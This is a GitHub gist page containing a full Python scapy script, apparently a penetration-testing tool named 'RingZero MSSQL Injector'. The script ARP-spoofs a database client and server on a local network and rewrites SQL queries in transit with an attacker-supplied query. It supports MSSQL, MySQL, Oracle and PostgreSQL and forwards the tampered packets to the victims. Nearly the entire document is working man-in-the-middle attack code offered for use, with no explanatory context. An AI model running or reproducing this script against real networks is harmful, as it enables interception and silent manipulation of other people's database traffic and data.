Created
September 21, 2016 18:43
-
-
Save anonymous/edb02df90942dc4df0e41f3cbb78660b to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from scapy.all import * | |
import unicodedata | |
import sys, getopt | |
import time, datetime | |
import argparse | |
import socket | |
import fcntl | |
import struct | |
import threading | |
##################################### | |
# ARP Scan - Get remote MAC address # | |
##################################### | |
def arp_scan(ip): | |
conf.verb = 0 | |
ans, unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst = ip), timeout = 2) | |
for snd,rcv in ans: | |
return rcv.sprintf(r"%Ether.src%") | |
return 1 | |
############################################################## | |
# Used to pad new query with spaces because of TCP checksum. # | |
############################################################## | |
def pad_query(old_query, new_query, q_modifier): | |
padded_query = new_query | |
length = len(old_query) - (len(new_query) * q_modifier) | |
for i in range(0, length/q_modifier): | |
padded_query = padded_query + " " # Add spaces to the end of the SQL query | |
return padded_query | |
############################################################## | |
# Used to pad new query with spaces because of TCP checksum. # | |
# Also keeps special Oracle characters in place after query. # | |
############################################################## | |
def pad_query_oracle(old_query, new_query): | |
padded_query = new_query | |
length = len(old_query) - len(new_query) - 52 | |
#print "padding with " + str(length) | |
#print old_query | |
#print new_query | |
for i in range(0, length): | |
padded_query = padded_query + " " # Add spaces to the end of the SQL query | |
# This all seems to be required for Oracle for some reason | |
padded_query = padded_query + "\x01" | |
for i in range(0, 27): | |
padded_query = padded_query + "\x00" | |
padded_query = padded_query + "\x01" | |
for i in range(0, 8): | |
padded_query = padded_query + "\x00" | |
padded_query = padded_query + "\x80" | |
for i in range(0, 14): | |
padded_query = padded_query + "\x00" | |
return padded_query | |
############################################################## | |
# Used to pad new query with spaces because of TCP checksum. # | |
# PostgreSQL keeps the semicolon at the end so we need this. # | |
############################################################## | |
def pad_query_postgresql(old_query, new_query): | |
padded_query = new_query | |
length = len(old_query) - len(new_query) | |
for i in range(0, length - 2): | |
padded_query = padded_query + " " # Add spaces to the end of the SQL query | |
padded_query = padded_query + ";\x00" | |
return padded_query | |
############################################ | |
# Used to pad SQL strings with null bytes. # | |
############################################ | |
def encode_query(query): | |
query2 = "" | |
for c in query: | |
query2 = query2 + c + "\x00" # Insert bye \x00 after each character in the string | |
return query2 | |
########################### | |
# Get my own MAC address. # | |
########################### | |
def get_mac_address(my_interface): | |
mac = get_if_hwaddr(my_interface) | |
if mac != "00:00:00:00:00:00": | |
return mac | |
return 1 | |
############################ | |
# Get Interface IP Address # | |
############################ | |
def get_interface_address(ifname): | |
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) | |
return socket.inet_ntoa(fcntl.ioctl( | |
s.fileno(), | |
0x8915, # SIOCGIFADDR | |
struct.pack('256s', ifname[:15]) | |
)[20:24]) | |
################ | |
# ARP SPOOFING # | |
################ | |
def arp_spoof(client_ip, server_ip): | |
print "Sending ARP spoofing packets..." | |
print "Client: " + client_ip + " / Server: " + server_ip | |
# Tell the client that I am the server | |
packet = ARP() | |
packet.psrc = server_ip | |
packet.pdst = client_ip | |
packet.op = 2 | |
send(packet) | |
# Tell the server that I am the client | |
packet = ARP() | |
packet.psrc = client_ip | |
packet.pdst = server_ip | |
packet.op = 2 | |
send(packet) | |
return 0 | |
################## | |
# Undo ARP Spoof # | |
################## | |
def undo_arp_spoof(client_ip, client_mac, server_ip, server_mac): | |
rearp_packet = ARP() | |
rearp_packet.psrc = client_ip | |
rearp_packet.pdst = server_ip | |
rearp_packet.hwsrc = client_mac | |
rearp_packet.hwdst = server_mac | |
rearp_packet.op = 2 # "is-at" opcode instead of the default "query" | |
send(rearp_packet) | |
rearp_packet = ARP() | |
rearp_packet.psrc = server_ip | |
rearp_packet.pdst = client_ip | |
rearp_packet.hwsrc = server_mac | |
rearp_packet.hwdst = client_mac | |
rearp_packet.op = 2 # "is-at" opcode instead of the default "query" | |
send(rearp_packet) | |
return 0 | |
################################### | |
# Search for matching MSSQL query # | |
################################### | |
def search_for_mssql(data, begin_keyword, end_keyword): | |
i=data.lower().find(encode_query(begin_keyword)) | |
if i > 0: | |
j=str(data).find(end_keyword, i) | |
if j > 0: | |
return data[i:j], i, j | |
return 1,1,1 | |
################################### | |
# Search for matching MYSQL query # | |
################################### | |
def search_for_mysql(data, begin_keyword): | |
i=data.lower().find(begin_keyword) | |
if i > 0: | |
return data[i:len(data)], i, len(data) | |
return 1,1,1 | |
################################ | |
# Check for keyboard interrupt # | |
################################ | |
def stopfilter(x): | |
try: | |
return True | |
except keyboardInterrupt: | |
print "Re-ARPing victims..." | |
undo_arp_spoof(client_ip, client_mac, server_ip, server_mac) | |
sys.exit(0) | |
return False | |
######################################### | |
# Process each packet as it's received. # | |
######################################### | |
def processPacket(my_mac, server_type, client_mac, client_ip, server_mac, server_ip, begin_keyword, end_keyword, new_query): | |
### Must nest a function here to pass arguments from sniff() ### | |
def manipulatePacket(in_packet): | |
if in_packet.haslayer(TCP): | |
out_packet=in_packet #setup the outbound packet. | |
srcmac=in_packet.src | |
dstmac=in_packet.dst | |
#print "srcmac: " + srcmac | |
#print "dstmac: " + dstmac | |
### Does the packet have Raw data? ### | |
if in_packet.haslayer(Raw): | |
data=in_packet.load | |
match = False | |
### Does the Raw data contain keywords? ### | |
### Check MSSQL ### | |
if server_type == "mssql": | |
old_query, startQuery, endQuery = search_for_mssql(data, begin_keyword, end_keyword) | |
if old_query != 1: | |
match = True | |
### Check MYSQL ### | |
elif server_type == "mysql" or server_type == "oracle" or server_type == "postgresql": | |
old_query, startQuery, endQuery = search_for_mysql(data, begin_keyword) | |
if old_query != 1: | |
match = True | |
### Do we have a match? ### | |
if match == True: | |
print "Found a matching packet!" | |
### Is new Query too long? ### | |
if server_type == "mssql": | |
q_modifier = 2 # MSSQL has null bytes between characters so we must double our new query length | |
elif server_type == "mysql" or server_type == "oracle" or server_type == "postgresql": | |
q_modifier = 1 | |
if len(old_query) < (len(new_query) * q_modifier): | |
print "Cannot replace: New query is longer than old query!" | |
print "OldQuery: " + str(len(old_query)), " | NewQuery: " + str(len(new_query) * q_modifier) | |
else: | |
### Update outbound packet with new data ### | |
if server_type == "mssql": | |
out_packet.load=out_packet.load[:startQuery] + encode_query(pad_query(old_query,new_query,q_modifier)) + out_packet.load[endQuery:] | |
elif server_type == "mysql": | |
out_packet.load=out_packet.load[:startQuery] + pad_query(old_query,new_query,q_modifier) + out_packet.load[endQuery:] | |
elif server_type == "oracle": | |
out_packet.load=out_packet.load[:startQuery] + pad_query_oracle(old_query,new_query) + out_packet.load[endQuery:] | |
elif server_type == "postgresql": | |
out_packet.load=out_packet.load[:startQuery] + pad_query_postgresql(old_query,new_query) + out_packet.load[endQuery:] | |
print "Replaced query!" | |
### Check if packet is from victims. ### | |
### If so, replace MAC address fields ### | |
### and send packet. ### | |
if in_packet[IP].src == client_ip and srcmac == client_mac and dstmac == my_mac: # If source is client | |
del out_packet[TCP].chksum | |
out_packet.dst=server_mac # Send to server | |
sendp(out_packet) | |
if in_packet[IP].src == server_ip and srcmac == server_mac and dstmac == my_mac: # If source is server | |
print "retransmitting packet to client" | |
del out_packet[TCP].chksum | |
out_packet.dst=client_mac # Send to client | |
sendp(out_packet) | |
return manipulatePacket | |
######## | |
# MAIN # | |
######## | |
def main(argv): | |
print "" | |
print "Anitian RingZero MSSQL Injector" | |
print "By: Rick Osgood" | |
print "Press Ctrl+C to quit." | |
print "" | |
### Check arguments ### | |
parser = argparse.ArgumentParser() | |
parser.add_argument("interface", nargs=1, metavar="<Interface>", help="Interface to sniff on.") | |
parser.add_argument("server_type", nargs=1, metavar="<SQL Server Type>", help="mssql/mysql/oracle/postgresql.") | |
parser.add_argument("client_ip", nargs=1, metavar="<Client IP>", help="SQL Client IP.") | |
parser.add_argument("server_ip", nargs=1, metavar="<Server IP>", help="SQL Server IP.") | |
parser.add_argument("new_query", nargs=1, metavar="<New Query>", help="New query to inject.") | |
parser.add_argument("--begin_keyword", nargs=1, metavar="<Begin Keyword>", help="Keyword (case-insensitive) at the beginning of the query to be replaced. Default: \"SELECT\"") | |
parser.add_argument("--end_keyword", nargs=1, metavar="<End Keyword>", help="Keyword (case-insensitive) at the end of the query to be replaced. Default: \";\"") | |
args = parser.parse_args() | |
### Remove the [" and "] from the strings | |
my_interface = str(args.interface)[2:-2] | |
server_type = str(args.server_type)[2:-2] | |
client_ip = str(args.client_ip)[2:-2] | |
server_ip = str(args.server_ip)[2:-2] | |
new_query = str(args.new_query)[2:-2] | |
if args.begin_keyword: | |
begin_keyword = str(args.begin_keyword)[2:-2].lower() # Make lowercase for case insensitivity | |
else: | |
begin_keyword = "select" # Default value | |
if args.end_keyword: | |
end_keyword = str(args.end_keyword)[2:-2].lower() # Make lowercase for case insensitivity | |
else: | |
end_keyword = ";" # Default value | |
### Get local MAC address ### | |
my_mac = get_mac_address(my_interface) | |
if not my_mac: | |
print "Can't get local mac address. Quitting." | |
sys.exit(1) | |
### Get local IP address ### | |
my_ip = get_interface_address(my_interface) | |
if not my_ip: | |
print "Can't get local IP address. Quitting." | |
sys.exit(1) | |
### Get client MAC address ### | |
client_mac=arp_scan(client_ip) | |
if client_mac is None or client_mac == 1: | |
print "Could not get MSSQL client MAC address!" | |
sys.exit(1) | |
### Get server MAC address ### | |
server_mac=arp_scan(server_ip) | |
if server_mac is None or server_mac == 1: | |
print "Could not get MSSQL server MAC address!" | |
sys.exit(1) | |
### Helpful output for debugging | |
print "Sniffing on " + my_ip + "..." | |
print "" | |
### Set the first Arp Spoof to happen after 1 second, from there it will happen every 15 seconds. | |
arp_spoof(client_ip, server_ip) | |
arpTimer=threading.Timer(15, arp_spoof, args=[client_ip, server_ip]) | |
arpTimer.start() | |
### Sniff packets forever ## | |
filter_string = "host " + client_ip + " or host " + server_ip | |
while True: | |
sniff(filter=filter_string, prn=processPacket(my_mac, server_type, client_mac, client_ip, server_mac, server_ip, begin_keyword, end_keyword, new_query)) | |
arpTimer.cancel() | |
print "Re-ARPing victims..." | |
undo_arp_spoof(client_ip, client_mac, server_ip, server_mac) | |
sys.exit(0) | |
if __name__ == "__main__": | |
main(sys.argv[1:]) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment